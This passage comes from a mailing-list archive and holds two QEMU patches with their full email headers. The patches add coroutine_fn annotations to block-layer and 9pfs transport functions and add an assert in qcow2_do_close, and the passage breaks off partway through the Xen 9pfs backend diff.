	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=7KbttnCatQH9tfMpq5G3nrwTwf9fJs3VEPqTLa4lGS4=;
	b=iVe0tUdzL3aMI9gjIFQeCj1JGi2qDlcdoKWdATxBImbqRuYFYDalkvmvJ3cpyRNf7iCWNC
	CUyjLo6lpNrrL2NNQCm7qm1PtBwbwVatdsB8KPRUlkW03UuhvxQXlCjdgCH30Q4LL48VOA
	IWMC4KGe9/dQjlHyRhNM7n80cePTqVY=
X-MC-Unique: ueMBmxX3NoiCR6Lyx6dC8g-1
X-Mimecast-MFC-AGG-ID: ueMBmxX3NoiCR6Lyx6dC8g_1784534196
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:35 +0400
Subject: [PATCH 6/8] block: add missing coroutine_fn annotations
MIME-Version: 1.0
Message-Id: <20260720-co-v1-6-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=5107;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=MElhPudYde5N+AmBqX8hc/jkArXPzRKcda7rMFMqgZk=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJQZyOC7EnnGJBFtdOw9SYol+ehCZ6GIiJn
 Cq9QWoT7wWJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5d/3D/9H9eWiSP6C6d6WvD53puNrUJgnuw0goXTDAtzGeGO+v0k/NJRuPcV75b11nLEmePNBtdK
 CtfU7+pYuJ7IP26KuzaKT4k/oPrsL2oTXWQnmMXJBRh1qLGBqby2jLiWPs+WW3ZcYXqlBBljb/m
 BoFMAlunoJOZCh4Matysnrlgc/0TqZfYQkTzZnoAgDqQir+AjzFwxLKDOd9su+gbWibeyLCcuxv
 Ve4yev3jk4PHQZJj8SjObjDfJ1bGMapRkr/2kKtF8Hfe15lGegb/tmk2dvUe+sy+saqbQVUuBkf
 kc3tpBJSghwNTNjBRkDrab9+psFk2aj+vuzNrhQ1BJgjipZ15UxpgqyINd0xPdHI4F7yaQwXK+t
 btMjOnyrxv9kABv7xoOZeFJPzr5Wp4DRUcx4x0QP6b2lqzStrAdsnYckaVZy86JY/TP3Qrc0IlP
 e0zAWVnVONmkuQDZ8BRbOypopE/7Y83/RHkVn4ucCTHjyitVsVrwUBCUZSzhb2M5GOsBfkaUlzd
 x+5MYr8zFtcrX2Jlhf0zk+KDUsn43gm+RPr3Ot5vMlrqx7eDvUhN++G85/Dc9kdVTJCGMKlghaI
 /2fJnx4sqs+wBfbvx6mmDwbMv8lzQJg9DghaOAqEt7Iq1U2QoD4J/9tB3MB5kJBqOWCGwIrNkRw
 YfBQTcHKkoJvNig==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.93
X-Mimecast-MFC-PROC-ID: vVwH-QvV6ykjHbsyTHIxPJQ6qnkiOJ4-Y3j05xdPLvA_1784534196
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784534203-1BCD79EA-1B41C265/0/0
X-purgate-type: clean
X-purgate-size: 5109

The functions call coroutine functions or are called by coroutine.

Add an assert() in qcow2_do_close() code path which calls a
no_coroutine_fn bdrv_graph_wrlock_drained().

Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 include/block/blockjob_int.h |  2 +-
 block/crypto.c               | 13 +++++++------
 block/io.c                   |  8 +++++---
 block/parallels.c            |  5 +++--
 block/qcow2.c                | 11 +++++++----
 blockjob.c                   |  3 ++-
 6 files changed, 25 insertions(+), 17 deletions(-)

diff --git a/include/block/blockjob_int.h b/include/block/blockjob_int.h
index 4c3d2e25a20..34e172874fa 100644
--- a/include/block/blockjob_int.h
+++ b/include/block/blockjob_int.h
@@ -150,7 +150,7 @@ void block_job_ratelimit_processed_bytes(BlockJob *job, uint64_t n);
  * Put the job to sleep (assuming that it wasn't canceled) to throttle it to the
  * right speed according to its rate limiting.
  */
-void block_job_ratelimit_sleep(BlockJob *job);
+void coroutine_fn block_job_ratelimit_sleep(BlockJob *job);
 
 /**
  * block_job_error_action:
diff --git a/block/crypto.c b/block/crypto.c
index 36abb7af468..8a34d92fded 100644
--- a/block/crypto.c
+++ b/block/crypto.c
@@ -56,12 +56,13 @@ static int block_crypto_probe_generic(QCryptoBlockFormat format,
 }
 
 
-static int block_crypto_read_func(QCryptoBlock *block,
-                                  size_t offset,
-                                  uint8_t *buf,
-                                  size_t buflen,
-                                  void *opaque,
-                                  Error **errp)
+static int coroutine_mixed_fn
+block_crypto_read_func(QCryptoBlock *block,
+                       size_t offset,
+                       uint8_t *buf,
+                       size_t buflen,
+                       void *opaque,
+                       Error **errp)
 {
     BlockDriverState *bs = opaque;
     BlockCrypto *crypto = bs->opaque;
diff --git a/block/io.c b/block/io.c
index a916b236c3c..99dd16864a3 100644
--- a/block/io.c
+++ b/block/io.c
@@ -346,8 +346,9 @@ static void coroutine_fn bdrv_co_yield_to_drain(BlockDriverState *bs,
     assert(data.done);
 }
 
-static void bdrv_do_drained_begin(BlockDriverState *bs, BdrvChild *parent,
-                                  bool poll)
+static void coroutine_mixed_fn
+bdrv_do_drained_begin(BlockDriverState *bs, BdrvChild *parent,
+                      bool poll)
 {
     IO_OR_GS_CODE();
 
@@ -397,7 +398,8 @@ bdrv_drained_begin(BlockDriverState *bs)
  * This function does not poll, nor must any of its recursively called
  * functions.
  */
-static void bdrv_do_drained_end(BlockDriverState *bs, BdrvChild *parent)
+static void coroutine_mixed_fn
+bdrv_do_drained_end(BlockDriverState *bs, BdrvChild *parent)
 {
     IO_OR_GS_CODE();
 
diff --git a/block/parallels.c b/block/parallels.c
index 7a90fb5220b..46a6e8f2743 100644
--- a/block/parallels.c
+++ b/block/parallels.c
@@ -142,8 +142,9 @@ static uint32_t host_cluster_index(BDRVParallelsState *s, int64_t off)
     return off / s->cluster_size;
 }
 
-static int64_t block_status(BDRVParallelsState *s, int64_t sector_num,
-                            int nb_sectors, int *pnum)
+static int64_t coroutine_fn
+block_status(BDRVParallelsState *s, int64_t sector_num,
+             int nb_sectors, int *pnum)
 {
     int64_t start_off = -2, prev_end_off = -2;
 
diff --git a/block/qcow2.c b/block/qcow2.c
index 19271b10a49..161626fa3cb 100644
--- a/block/qcow2.c
+++ b/block/qcow2.c
@@ -1287,9 +1287,10 @@ fail:
 }
 
 /* s_locked specifies whether s->lock is held or not */
-static void qcow2_update_options_commit(BlockDriverState *bs,
-                                        Qcow2ReopenState *r,
-                                        bool s_locked)
+static void coroutine_fn
+qcow2_update_options_commit(BlockDriverState *bs,
+                            Qcow2ReopenState *r,
+                            bool s_locked)
 {
     BDRVQcow2State *s = bs->opaque;
     int i;
@@ -2126,7 +2127,8 @@ fail:
     return ret;
 }
 
-static void qcow2_reopen_commit(BDRVReopenState *state)
+static void coroutine_fn
+qcow2_reopen_commit(BDRVReopenState *state)
 {
     BDRVQcow2State *s = state->bs->opaque;
 
@@ -2905,6 +2907,7 @@ qcow2_do_close(BlockDriverState *bs, bool close_data_file)
     g_free(s->image_backing_format);
 
     if (close_data_file && has_data_file(bs)) {
+        assert(!qemu_in_coroutine());
         GLOBAL_STATE_CODE();
         bdrv_graph_rdunlock_main_loop();
         bdrv_graph_wrlock_drained();
diff --git a/blockjob.c b/blockjob.c
index f3b11cc7a19..f3ad6a93125 100644
--- a/blockjob.c
+++ b/blockjob.c
@@ -338,7 +338,8 @@ void block_job_ratelimit_processed_bytes(BlockJob *job, uint64_t n)
     ratelimit_calculate_delay(&job->limit, n);
 }
 
-void block_job_ratelimit_sleep(BlockJob *job)
+void coroutine_fn
+block_job_ratelimit_sleep(BlockJob *job)
 {
     uint64_t delay_ns;
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366178.1616101 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirp-0007G4-Qt; Mon, 20 Jul 2026 07:56:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366178.1616101; Mon, 20 Jul 2026 07:56:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirp-0007Ft-NY; Mon, 20 Jul 2026 07:56:49 +0000
Received: by outflank-mailman (input) for mailman id 1366178;
 Mon, 20 Jul 2026 07:56:48 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirn-0007Bm-SO
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirn-006OPL-9I
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:47 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4a2-e002-0a2a0a5209dd-0a2a450ae50a-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:47 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4bd-f2d2-0a2a450a0019-aa0a857cd803-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:46 +0200
Received: from mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-436-mvZGYl0uNn6hoGgqO_KziA-1; Mon,
 20 Jul 2026 03:56:44 -0400
Received: from mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.4])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 5B0991956062; Mon, 20 Jul 2026 07:56:42 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 9A224300019F; Mon, 20 Jul 2026 07:56:40 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534205;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=xTUNd/oAznZ+5DBJcrLXPZUtAhiWELpozE94IO79kVM=;
	b=XKk+GR8AnbUtw8PmqRJ9nSJaGK5jkug+K5W1VErYd3UR8w2iXNE4euOYa754Svgzmt8agI
	r61uxwVONPyUKWClJRu3e6+hS/xLH7qgX4v0c0hyBcHWcGvBMarYMvZzNMVytDBeaCdoBy
	AlePbv8uWA3dFuci5n0sY4ZQYoMt/mg=
X-MC-Unique: mvZGYl0uNn6hoGgqO_KziA-1
X-Mimecast-MFC-AGG-ID: mvZGYl0uNn6hoGgqO_KziA_1784534202
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:36 +0400
Subject: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as
 coroutine_fn
MIME-Version: 1.0
Message-Id: <20260720-co-v1-7-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=12144;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=VQVGJfDT80KbK+AoENxEwrM6bfEWbX5AlZ6JqJMH9mA=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJ6Z/QPH7kTs/Jsir+p4sjk7mKxJ2hfNQ1M
 /Fy5ozeaXyJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5dFEEACKxwmBieIUQRK10iarYOhSucm6MTcqL3qywn4+lGJ+NNksfanaaamPcctgBnspAtjzBHc
 seNnEj8oQVxTaRaPY/pTyTNKyGEnVhVyIy6qyrEvyz1QNeNXs0ac/kb3lkBnjEnuVD89uK8LuMv
 zd7CEVW38RWWzwUAhalsgpqYHHsoirgJzZjEL4RVWW1ENzejaP8YO3qQjkBwMGH1z5q3bWsytIC
 nF3JHbSrgeCu50zrAEzgW7Go5RmySvrjGQ1ZUrb6815X3LJp5jwOXJzftQK4JMqkcR6OXqHPS+a
 l9RAUVe9S3pPIYjIrDBKPhnOwvl+852JcQa7a4cttv5OQijV5+V1W34s2Y9yRQC0H1NwGunB489
 MXVCUbsmLtlAsrYXuPbtVELkADlfL/wkuI93Zx7ifI2rUVHkPR2oLtIEUNgSqyA3d1CTHCE4+9B
 zBfCbHrDJruj+KN6vEgePCqfdVdm//Z0RwpTfVIGiCCpv7pqCLzWOi5fJ8Y9/g+VvMhnpVZfEzm
 3tC7BGwwMK1MBQycfVamm7lA9bpt2iEGgPLPfbpkMh/x97A1rRFEdPgDbOBuptkMUu3uc4NzG1B
 xqqTQRDsN02SYrXXj6jQR0QJmIpCSszEUl7OmaHT1g+Zae2RBRdBloaqbDujHbHbm3nlZ9YE5sA
 Z8Rwyt+9qwQKv8w==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.4
X-Mimecast-MFC-PROC-ID: 0VF2pb0k2WT6-UNijesCY355SA8lswKj3l5O9552cV8_1784534202
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784534207-5A3DCCFC-3F4119B5/0/0
X-purgate-type: clean
X-purgate-size: 12146

All V9fsTransport callbacks are invoked exclusively from coroutine
context (the v9fs_* PDU handlers). Annotate the function pointer
types in V9fsTransport and all implementations (virtio and xen
backends), as well as intermediate callers in 9p.c (pdu_marshal,
pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).

Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 hw/9pfs/9p.h               | 26 +++++++++++++++-----------
 hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
 hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
 hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
 4 files changed, 64 insertions(+), 51 deletions(-)

diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
index 1a309664f6e..0e52ffbdf38 100644
--- a/hw/9pfs/9p.h
+++ b/hw/9pfs/9p.h
@@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
 void v9fs_reset(V9fsState *s);
 
 struct V9fsTransport {
-    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
-                                va_list ap);
-    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
-                                  va_list ap);
-    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
-                                        unsigned int *pniov, size_t size);
-    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
-                                         unsigned int *pniov, size_t size);
-    void        (*push_and_notify)(V9fsPDU *pdu);
-    size_t      (*msize_limit)(V9fsState *s);
-    size_t      (*response_buffer_size)(V9fsPDU *pdu);
+    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset,
+                                             const char *fmt, va_list ap);
+    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset,
+                                               const char *fmt, va_list ap);
+    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
+                                                     struct iovec **piov,
+                                                     unsigned int *pniov,
+                                                     size_t size);
+    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
+                                                      struct iovec **piov,
+                                                      unsigned int *pniov,
+                                                      size_t size);
+    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
+    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
+    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
 };
 
 #endif
diff --git a/hw/9pfs/9p.c b/hw/9pfs/9p.c
index 3119f011173..00cfbae6dd5 100644
--- a/hw/9pfs/9p.c
+++ b/hw/9pfs/9p.c
@@ -55,7 +55,8 @@ enum {
 
 P9ARRAY_DEFINE_TYPE(V9fsPath, v9fs_path_free);
 
-static ssize_t pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
+static ssize_t coroutine_fn
+pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
 {
     ssize_t ret;
     va_list ap;
@@ -67,7 +68,8 @@ static ssize_t pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
     return ret;
 }
 
-static ssize_t pdu_unmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
+static ssize_t coroutine_fn
+pdu_unmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
 {
     ssize_t ret;
     va_list ap;
@@ -1841,7 +1843,8 @@ out_nofid:
     pdu_complete(pdu, err);
 }
 
-static int v9fs_walk_marshal(V9fsPDU *pdu, uint16_t nwnames, V9fsQID *qids)
+static int coroutine_fn
+v9fs_walk_marshal(V9fsPDU *pdu, uint16_t nwnames, V9fsQID *qids)
 {
     int i;
     ssize_t err;
@@ -2363,9 +2366,10 @@ out_nofid:
  * The resulting QEMUIOVector has heap-allocated iovecs and must be cleaned up
  * with qemu_iovec_destroy().
  */
-static void v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
-                                    size_t skip, size_t size,
-                                    bool is_write)
+static void coroutine_fn
+v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
+                        size_t skip, size_t size,
+                        bool is_write)
 {
     QEMUIOVector elem;
     struct iovec *iov;
@@ -2382,8 +2386,9 @@ static void v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
     qemu_iovec_concat(qiov, &elem, skip, size);
 }
 
-static int v9fs_xattr_read(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
-                           uint64_t off, uint32_t max_count)
+static int coroutine_fn
+v9fs_xattr_read(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
+                uint64_t off, uint32_t max_count)
 {
     ssize_t err;
     size_t offset = 7;
@@ -2793,9 +2798,10 @@ out_nofid:
     pdu_complete(pdu, retval);
 }
 
-static int v9fs_xattr_write(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
-                            uint64_t off, uint32_t count,
-                            struct iovec *sg, int cnt)
+static int coroutine_fn
+v9fs_xattr_write(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
+                 uint64_t off, uint32_t count,
+                 struct iovec *sg, int cnt)
 {
     int i, to_copy;
     ssize_t err = 0;
@@ -3729,7 +3735,8 @@ out_nofid:
     pdu_complete(pdu, err);
 }
 
-static int v9fs_fill_statfs(V9fsState *s, V9fsPDU *pdu, struct statfs *stbuf)
+static int coroutine_fn
+v9fs_fill_statfs(V9fsState *s, V9fsPDU *pdu, struct statfs *stbuf)
 {
     uint32_t f_type;
     uint32_t f_bsize;
diff --git a/hw/9pfs/virtio-9p-device.c b/hw/9pfs/virtio-9p-device.c
index 50dc93091d3..b2dd859fb56 100644
--- a/hw/9pfs/virtio-9p-device.c
+++ b/hw/9pfs/virtio-9p-device.c
@@ -28,7 +28,7 @@
 #include "qemu/module.h"
 #include "system/qtest.h"
 
-static void virtio_9p_push_and_notify(V9fsPDU *pdu)
+static void coroutine_fn virtio_9p_push_and_notify(V9fsPDU *pdu)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -117,8 +117,8 @@ static void virtio_9p_reset(VirtIODevice *vdev)
     v9fs_reset(&v->state);
 }
 
-static ssize_t virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset,
-                                   const char *fmt, va_list ap)
+static ssize_t coroutine_fn
+virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, va_list ap)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -135,8 +135,8 @@ static ssize_t virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset,
     return ret;
 }
 
-static ssize_t virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset,
-                                     const char *fmt, va_list ap)
+static ssize_t coroutine_fn
+virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, va_list ap)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -152,8 +152,9 @@ static ssize_t virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset,
     return ret;
 }
 
-static void virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
-                                        unsigned int *pniov, size_t size)
+static void coroutine_fn
+virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
+                            unsigned int *pniov, size_t size)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -172,8 +173,9 @@ static void virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
     *pniov = elem->in_num;
 }
 
-static void virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
-                                         unsigned int *pniov, size_t size)
+static void coroutine_fn
+virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
+                             unsigned int *pniov, size_t size)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -192,13 +194,13 @@ static void virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
     *pniov = elem->out_num;
 }
 
-static size_t virtio_9p_msize_limit(V9fsState *s)
+static size_t coroutine_fn virtio_9p_msize_limit(V9fsState *s)
 {
     const size_t guestPageSize = 4096;
     return (VIRTQUEUE_MAX_SIZE - 2) * guestPageSize;
 }
 
-static size_t virtio_9p_response_buffer_size(V9fsPDU *pdu)
+static size_t coroutine_fn virtio_9p_response_buffer_size(V9fsPDU *pdu)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
diff --git a/hw/9pfs/xen-9p-backend.c b/hw/9pfs/xen-9p-backend.c
index 24c90d97ec9..7f674f84642 100644
--- a/hw/9pfs/xen-9p-backend.c
+++ b/hw/9pfs/xen-9p-backend.c
@@ -131,10 +131,10 @@ static void xen_9pfs_out_sg(Xen9pfsRing *ring,
     }
 }
 
-static ssize_t xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
-                                     size_t offset,
-                                     const char *fmt,
-                                     va_list ap)
+static ssize_t coroutine_fn xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
+                                                  size_t offset,
+                                                  const char *fmt,
+                                                  va_list ap)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     struct iovec in_sg[2];
@@ -155,10 +155,10 @@ static ssize_t xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
     return ret;
 }
 
-static ssize_t xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
-                                       size_t offset,
-                                       const char *fmt,
-                                       va_list ap)
+static ssize_t coroutine_fn xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
+                                                    size_t offset,
+                                                    const char *fmt,
+                                                    va_list ap)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     struct iovec out_sg[2];
@@ -178,10 +178,10 @@ static ssize_t xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
     return ret;
 }
 
-static void xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
-                                           struct iovec **piov,
-                                           unsigned int *pniov,
-                                           size_t size)
+static void coroutine_fn xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
+                                                        struct iovec **piov,
+                                                        unsigned int *pniov,
+                                                        size_t size)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     Xen9pfsRing *ring = &xen_9pfs->rings[pdu->tag % xen_9pfs->num_rings];
@@ -195,10 +195,10 @@ static void xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
     *pniov = num;
 }
 
-static void xen_9pfs_init_in_iov_from_pdu(V9fsPDU *pdu,
-                                          struct iovec **piov,
-                                          unsigned int *pniov,
-                                          size_t size)
+static void coroutine_fn xen_9pfs_init_in_iov_from_pdu(V9fsPDU *pdu,
+                                                       struct iovec **piov,
+                                                       unsigned int *pniov,
+                                                       size_t size)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     Xen9pfsRing *ring = &xen_9pfs->rings[pdu->tag % xen_9pfs->num_rings];
@@ -227,7 +227,7 @@ again:
     *pniov = num;
 }
 
